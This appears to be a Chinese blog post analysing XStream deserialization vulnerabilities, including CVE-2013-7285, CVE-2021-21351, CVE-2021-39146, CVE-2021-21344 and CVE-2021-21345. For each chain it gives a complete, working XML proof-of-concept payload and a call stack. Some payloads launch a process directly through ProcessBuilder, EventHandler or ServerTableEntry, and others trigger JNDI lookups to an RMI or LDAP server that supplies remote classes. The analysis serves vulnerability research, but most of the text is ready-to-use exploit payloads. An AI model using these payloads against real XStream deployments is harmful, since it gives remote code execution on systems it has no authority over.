XStream 反序列化

前言

XStream 是一个将 java bean 对象与 xml 互相转换的依赖包,有点类似 fastjson 的 json 对象互转。

对于原生的 Java 反序列化来说,可以利用的 Java 类是任意实现了Serializable的类,入口是ObjectInputStreamreadObject方法。对于XStream来说,可以利用的Java是任意类,入口是XStreamfromXML方法。

Xstream 会把 CVE 的 payload公布出来: https://x-stream.github.io/security.html ,可以看到 1.4.17 之后漏洞变少很多,因为由黑名单转向白名单了。

sorted-set

CVE-2013-7285

影响范围

XStream == 1.4.5 /1.4.6 / 1.4.10

版本说明

<= 1.3.1 版本不解析 sorted-set 标签,无法利用。

< 1.4.4 的版本会判断 treeMap 是否为空,为空不进 populateTreeMap,链子断掉。

1.4.7 - 1.4.9 、1.4.11 都是对 EventHandler 这个类进行黑名单过滤。

漏洞分析

漏洞本质:<dynamic-proxy> 这个标签在转换成对象时,会把<handler>指定的类作为 handler, 并封装一个对应的动态代理对象。当 <interface> 指定的类的方法被执行时,触发 handler 的 invoke,通过配置<target> 指定触发的类和 <command> 指定参数实现 RCE。

title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!--affected_version: XStream ==  1.4.5 /1.4.6 / 1.4.10-->
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:482, EventHandler (java.beans)
access$000:279, EventHandler (java.beans)
run:430, EventHandler$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1290, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1156, XStream (com.thoughtworks.xstream)
unmarshal:1140, XStream (com.thoughtworks.xstream)
fromXML:1020, XStream (com.thoughtworks.xstream)
main:20, Exp (CVE_2013_7285)

source点: k1.compareTo(k2) 触发反序列化,原因是代理对象k1调用了 java.lang.Comparable#compareTo 方法,触发了 <dynamic-proxy> , 然后进入 EventHandler#invoke 的逻辑实现 RCE。

下图位置打个条件断点,一目了然。

CVE-2021-21351

影响范围

XStream <= 1.4.15

JDK < 8u121(使用 RMI 进行 JNDI )

JDK < 8u191(使用 LADP 进行 JNDI )

版本说明

漏洞分析

漏洞本质:source 点javax.naming.ldap.Rdn.RdnEntry#compareTo,和上面一样通过 <sorted-set> 触发,sink 点就是 com.sun.rowset.JdbcRowSetImpl#connect,即 JdbcRowSetImpl 链 触发 JNDI。

title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__useServicesMechanism>false</__useServicesMechanism>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://127.0.0.1:1099/Basic/Command/calc</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
connect:615, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
parseSome:373, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
deliverMoreNodes:312, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
_firstch:535, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref)
getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
str:207, XRTreeFrag (com.sun.org.apache.xpath.internal.objects)
toString:314, XObject (com.sun.org.apache.xpath.internal.objects)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1157, XStream (com.thoughtworks.xstream)
unmarshal:1141, XStream (com.thoughtworks.xstream)
fromXML:1021, XStream (com.thoughtworks.xstream)
main:19, Vul (POC.sortedSet)

CVE-2021-39146

影响范围

XStream <= 1.4.17

JDK < 8u121(使用 RMI 进行 JNDI )

JDK < 8u191(使用 LADP 进行 JNDI )

版本说明

漏洞分析

漏洞本质:还是 JNDI。source 点javax.naming.ldap.Rdn.RdnEntry#compareTo,通过 <sorted-set> 触发;sink 点是java.security.PrivilegedAction#run里有反射调用,设置成 doLookup 实现 JNDI。

title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://127.0.0.1:1389/Basic/Command/calc</string>
</args>
</javax.swing.UIDefaults_-ProxyLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:485, Runtime (java.lang)
<init>:-1, Exploit_etYbcClocgwl
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
doLookup:290, InitialContext (javax.naming)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [2]
invoke:497, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [1]
invoke:497, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1107, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1086, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
get:64, MultiUIDefaults (javax.swing)
toString:197, MultiUIDefaults (javax.swing)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1157, XStream (com.thoughtworks.xstream)
unmarshal:1141, XStream (com.thoughtworks.xstream)
fromXML:1021, XStream (com.thoughtworks.xstream)
main:20, Vul (POC.sortedSet)

tree-map

影响范围

XStream == (1.4.0, 1.4.6] / 1.4.10

版本说明

  • 1.3.x 会直接报错,没有 compartor 属性
  • 1.4.7 - 1.4.9 、1.4.11 都是对 EventHandler 这个handler类进行黑名单过滤。

漏洞分析

这个同样是根标签解析到 TreeMap 这个 Converter,然后触发 compareTo,链子没变,但是覆盖版本更广了,POC如下

title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--affected_version: XStream == (, 1.4.6] /  1.4.10-->
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:482, EventHandler (java.beans)
access$000:279, EventHandler (java.beans)
run:430, EventHandler$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1290, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:79, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1156, XStream (com.thoughtworks.xstream)
unmarshal:1140, XStream (com.thoughtworks.xstream)
fromXML:1020, XStream (com.thoughtworks.xstream)
main:18, Vul (POC.treeMap)

map

影响范围

XStream <= 1.4.13

版本说明

  • 1.3.x 会直接报错
  • 1.4.14 以后存在 对 ProcessBuilder的黑名单,在 com.thoughtworks.xstream.XStream#setupSecurity

漏洞分析

漏洞本质:利用 MapConverter#putCurrentEntryIntoMap 函数为入口,一直调用到ImageIO$ContainsFilter#filter

title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
<!-- <string>-a</string>-->
<!-- <string>Calculator</string>-->
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

一个 entry 大概是这样的形式,第一个是key,第二个是value。 poc 把 payload 放在 key 那里了。

title:"Demo"
1
2
3
4
5
6
<map>
<entry>
<string>key</string>
<string>value</string>
</entry>
</map>

source点:MapConverter#putCurrentEntryIntoMap函数,内部调用了 target.put(key, value),target是最根部的map标签(HashMap类型),key是payload(NativeString类型),value是test字符串。

然后 HashMap#put(key, value) 最终是可以调到 key#hashCode 的,也就进入了 NativeString#hashCode,也就是 xml 的第二个标签,后续每个调用都有标签的对应,无非是把反射赋值改为xml属性赋值。

sink点:ImageIO$ContainsFilter#filter 可以实现反射调用函数,参数可控。

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:821, FilterIterator (javax.imageio.spi)
next:839, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:122, NativeString (jdk.nashorn.internal.objects)
hashCode:118, NativeString (jdk.nashorn.internal.objects)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1277, XStream (com.thoughtworks.xstream)
main:18, Vul (POC.map)

java.util.PriorityQueue

CVE-2021-21344

影响范围

XStream <= 1.4.15

版本说明

漏洞分析

漏洞本质:在xml转java对象时,SerializableConverter#doUnmarshal 会调用标签所对应的类的readObject方法,例如test/DemoForUsage 里能够调用 Person 类的readObject。这几乎是万能source了,只要有其他组件就能利用。CVE-2021-21344 以java.util.PriorityQueue为入口,找到一条触发 JdbcRowSetImpl#connect的链子,进行 JNDI 注入。

PS:除了默认的序列化方法,在SerializableConverter#doMarshal中支持重写方法writeObject的调用,所以当类实现了Serializable并且重写了writeObject,则会调用重写的writeObject。

一般在重写的writeObject方法中还是会调用SerializableConverter.defaultWriteObject方法来进行属性的序列化。

下面是poc,需要起一个恶意本地 LDAP 服务器,接收 lookup。

title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<!--affected_version: XStream -->
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://127.0.0.1:1389/Basic/Command/calc</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

SerializableConverter 触发 PriorityQueue 的反序列化,一直到 PriorityQueue#siftDownUsingComparator 都和 CC4 一样,只不过本链后面走的是 DataTransferer$IndexedComparator#compare,CC4 走的是 TransformingComparator#compare。

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
connect:615, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1277, XStream (com.thoughtworks.xstream)
main:18, Vul (POC.priorityQueue)

CVE-2021-21345

影响范围

XStream <= 1.4.15

版本说明

  • 1.3.x 会直接报错
  • 1.4.15 以后添加了黑名单,和CVE-2021-21344一样

漏洞分析

漏洞本质:source 还是PriorityQueue#readObject,只不过 sink 不用 JdbcRowSetImpl#connect 打 JNDI,改用ServerTableEntry#verify 打命令执行。

title:"poc.xml"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
